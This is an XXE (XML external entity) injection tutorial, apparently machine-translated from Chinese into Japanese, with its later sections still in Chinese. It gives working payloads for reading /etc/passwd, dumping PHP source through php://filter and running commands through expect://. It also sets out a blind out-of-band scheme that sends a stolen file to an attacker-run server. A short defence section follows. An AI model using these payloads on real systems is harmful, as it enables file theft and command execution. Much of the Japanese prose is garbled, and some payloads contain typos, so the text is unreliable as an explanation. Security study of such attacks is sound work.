[Webセキュリティ] XXEの脆弱性の概要

0x00のXMLの基礎

XXE抜け穴を導入する前に、まずXMLの基礎の温かいケアについて学びます。XMLを送信し、コンテンツデータの焦点である店舗データ、ように設計されている、HTMLから分離されたデータは、ハードウェアとソフトウェアの情報転送ツールとは無関係です。

XML宣言、DTD文書型定義(オプション)、文書要素を含むXML文書構造の0x01のXML文書構造。

<!--XML申明-->
<?xml version="1.0"?> 
<!--文档类型定义-->
<!DOCTYPE note [  <!--定义此文档是 note 类型的文档-->
<!ELEMENT note (to,from,heading,body)>  <!--定义note元素有四个元素-->
<!ELEMENT to (#PCDATA)>     <!--定义to元素为”#PCDATA”类型-->
<!ELEMENT from (#PCDATA)>   <!--定义from元素为”#PCDATA”类型-->
<!ELEMENT head (#PCDATA)>   <!--定义head元素为”#PCDATA”类型-->
<!ELEMENT body (#PCDATA)>   <!--定义body元素为”#PCDATA”类型-->
]]]>
<!--文档元素-->
<note>
<to>Dave</to>
<from>Tom</from>
<head>Reminder</head>
<body>You are a good man</body>
</note>

XXEの脆弱性以来DTD文書に関連付けられているので、DTDの概念に焦点を当てています。

0×02のDTD

文書型定義(DTD)は、XML文書の法的なビルディング・ブロックを定義するために、それは、文書の構造を定義するために法的な一連の要素を使用しています。DTDは、行のXML文書(内部基準)の中で宣言することができ、それはまた、外部の基準として使用することができます。

1は、DTD内で宣言します:
<!DOCTYPE 根元素 [元素声明]>

図2に示すように、外部のDTDを参照します。
<!DOCTYPE 根元素 SYSTEM "文件名">

次のようにDTD文書は、多くの重要なキーワードがあります。

  • DOCTYPE(DTD宣言)
  • ENTITY(文のエンティティ)
  • SYSTEM、PUBLIC(外部リソース要求)

0x03のエンティティエンティティは、変数として理解することができ、それはDTDの定義に記載しなければならない、あなたは、ドキュメント内の別の場所に変数の値を参照することができます。タイプ別のエンティティは次の4つのカテゴリに分かれて:

  • 内蔵エンティティ(内蔵エンティティ)
  • 文字エンティティ(文字エンティティ)
  • 一般的なエンティティ(一般実体)
  • パラメータエンティティ(パラメタ実体)

参照エンティティによると、企業は、内部および外部エンティティに分けることができ、これらのエンティティが肯定されているかを見てみましょう。
完全なエンティティクラスは、DTDを参照することができます-エンティティ(https://www.tutorialspoint.com/dtd/dtd_entities.htm

はじめに3.1エンティティクラス

パラメータエンティティは%エンティティ名は、エンティティの名前を参照する際にも使用される%を肯定使用し、残りのエンティティ名エンティティが直接述べ、時間・エンティティ名を参照して。
パラメータ実体は、DTD、DTD参照に宣言することができ、残りは唯一のDTD実体の中で宣言することができ、XML文書内で参照することができます。

(1)内部エンティティ。

<!ENTITY 实体名称 "实体的值">

(2)外部エンティティ。

<!ENTITY 实体名称 SYSTEM "URI">

(3)物理的パラメータ:

<!ENTITY % 实体名称 "实体的值">
或者
<!ENTITY % 实体名称 SYSTEM "URI">

(4)実施例は:パラメータエンティティをエンティティ内部エンティティ+除き

<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE a [
<!ENTITY name "This is a xxe test!">]>
<foo>
<value>&name;</value>
</foo>

(5)例を示します。外部実体パラメーター実体+

<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE a [
<!ENTITY % name SYSTEM "file:///etc/passwd">
%name;
]>

注意:%名(パラメタ実体は)DTD内で参照され、そして&名(残りのエンティティ)は、XML文書内で参照されます。
XXEの脆弱性は、DTD、外部エンティティの使用は抜け穴がつながる参照されているので、それから見て、外部実体参照のどのタイプに焦点を当てることができます。

3.2 DTD内の外部エンティティ外部エンティティを使用すること

<!ENTITY 实体名称 SYSTEM "URI">

むしろ、内部実体よりも外部のエンティティへの文法のリファレンスは、その後、外部エンティティの種類URIはそれで書くことができますか?
主なものは、ファイル、HTTP、HTTPS、FTP、およびそうです、もちろん、別のプログラムのサポートは同じではありません。

プレゼンテーションの例:

<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE a [
<!ENTITY name SYSTEM "file:///etc/passwd">]>
<foo>
<value>&name;</value>
</foo>

0x04のXXEの脆弱性

XXE XML外部エンティティインジェクションの脆弱性を意味し
、XML外部エンティティインジェクションの脆弱性で、XXEアプリケーションがXML入力を解析するときに発生する脆弱性、外部実体をロードするための何の禁止は、悪意のある外部ファイルをロードするために主要な、存在しない、読み込むファイルを引き起こして、コマンドの実行、ネットワークポートスキャン、攻撃におけるネットワークサイトは、DoS攻撃やその他の危険を立ち上げました。

XXE脆弱性トリガーポイントは、多くの場合、悪質なxmlファイルをアップロードする大手、xmlファイルの場所、ないxmlファイルのアップロードフィルタリングをアップロードすることができます。

4.1 XXEの脆弱性検出

XMLが正常に解決されるかどうかを検出するための最初のステップ:

<?xml version="1.0" encoding="UTF-8"?>  
<!DOCTYPE ANY [  
<!ENTITY name "my name is nMask">]>    
<root>&name;</root>

ページ出力が私の名前はnMaskある場合は、説明のxmlファイルを解消することができます。

サーバーは、DTDの外部実体参照をサポートしているかどうかを検出するための第二段階:

<?xml version=”1.0” encoding=”UTF-8”?>  
<!DOCTYPE ANY [  
<!ENTITY % name SYSTEM "http://localhost/index.html">  
%name;  
]>

それはあなたのサーバーの要求のtest.xmlにリクエストを送信し、ターゲット・サーバーかどうかを確認するために、独自のサーバーログを調べることで判断することができます。

参照は外部エンティティをサポートする場合、XXE脆弱性があると考えています。

4.2悪用

そのようなネットワークのウェブサイト内のファイル、コマンド実行、ネットワークポートスキャン攻撃を読み取ることができるようXXEの脆弱性は、多くの危険にありますが、DoS攻撃を開始しました

4.2.1は、任意のファイルを読み込みます

私はWindows上でテストをしていたので、それをCドライブの内容であるtest.txtファイルを読み込むことができます。

Linuxでの場合は、/ etc / passwdファイルやその他の機密データディレクトリをお読みください。
ファイルには、DTDが持っているかもしれ参照される外部エンティティに加えて、成功するために上記のいずれかを読んで、だけでなく、エコーである出力情報に依存します。

4.2.2 获取页面源码
<?xml version="1.0" encoding="utf-8" ?>
<!DOCTYPE xxe[
<!ELEMENT name ANY>
<!ENTITY xxe SYSTEM "php://filter/read=conver.base64-encode/resouce=index.php">]>
<root>
<name>&xxe;</name>
</root>

返回的base64编码,即为index.php的源码

4.2.3 执行系统命令

在特殊的配置环境下,如PHP环境中PHP的expect模块被加载到了易受攻击的系统或者能处理XML的应用中,就能执行命令。

<?xml version="1.0" encoding="utf-8" ?>
<!DOCTYPE xxe[
<!ELEMENT name ANY>
<!ENTITY xxe SYSTEM "expect://whoami">]>
<root>
<name>&xxe;</name>
</root>
4.2.4 blind xxe漏洞

对于传统的XXE来说,要求攻击者只有在服务器有回显或者报错的基础上才能使用XXE漏洞来读取服务器端文件,如果没有回显则可以使用Blind XXE漏洞来构建一条带外信道提取数据。
创建test.php写入以下内容:

<?php  
file_put_contents("test.txt", $_GET['file']) ;  
?>

创建index.php写入以下内容:

<?php  
$xml=<<<EOF  
<?xml version="1.0"?>  
<!DOCTYPE ANY[  
<!ENTITY % file SYSTEM "file:///C:/test.txt">  
<!ENTITY % remote SYSTEM "http://localhost/test.xml">  
%remote;
%all;
%send;  
]>  
EOF;  
$data = simplexml_load_string($xml) ;  
echo "<pre>" ;  
print_r($data) ;  
?>

创建test.xml并写入以下内容:

<!ENTITY % all "<!ENTITY % send SYSTEM 'http://localhost/test.php?file=%file;'>">

当访问http://localhost/index.php, 存在漏洞的服务器会读出text.txt内容,发送给攻击者服务器上的test.php,然后把读取的数据保存到本地的test.txt中。

0x05 总结一些payload

<?xml version="1.0"?>
<!DOCTYPE ANY [
   <!ENTITY content SYSTEM "file:///etc/passwd">
]>
<note>
   <name>&content;</name>
</note>
<?xml version="1.0"?>
<!DOCTYPE ANY [
    <!ENTITY content SYSTEM "expect://id">
]>
<!DOCTYPE ANY [
<!ENTITY content SYSTEM "http://localtion/xxe_file.dtd">
]>
xxe_file.dtd的代码
<!ENTITY % file SYSTEM "file:///etc/flag.txt">
<!ENTITY % all "">
%all;

0x06 XXE漏洞修复与防御

6.1 使用开发语言提供的禁用外部实体的方法

PHP:

libxml_disable_entity_loader(true);

JAVA:

DocumentBuilderFactory dbf =DocumentBuilderFactory.newInstance();
dbf.setExpandEntityReferences(false);

Python:

from lxml import etree
xmlData = etree.parse(xmlSource,etree.XMLParser(resolve_entities=False))

6.2 过滤用户提交的XML数据

过滤关键词:<!DOCTYPE和<!ENTITY,或者SYSTEM和PUBLIC。

0x07 绕过XXE漏洞的防护

(今天脑子有点晕,明天再搞了)

参考链接

https://blog.csdn.net/Fly_hps/article/details/85228722

https://www.cnblogs.com/r00tuser/p/7255939.html#top

https://www.cnblogs.com/-zhong/p/11194080.html

https://mp.weixin.qq.com/s?__biz=MzU1ODg3NTMyMQ==&mid=2247489349&idx=1&sn=ab435be65bc6c35a21ea4bd040693d8c&source=41#wechat_redirect

おすすめ

転載: www.cnblogs.com/-mo-/p/11261584.html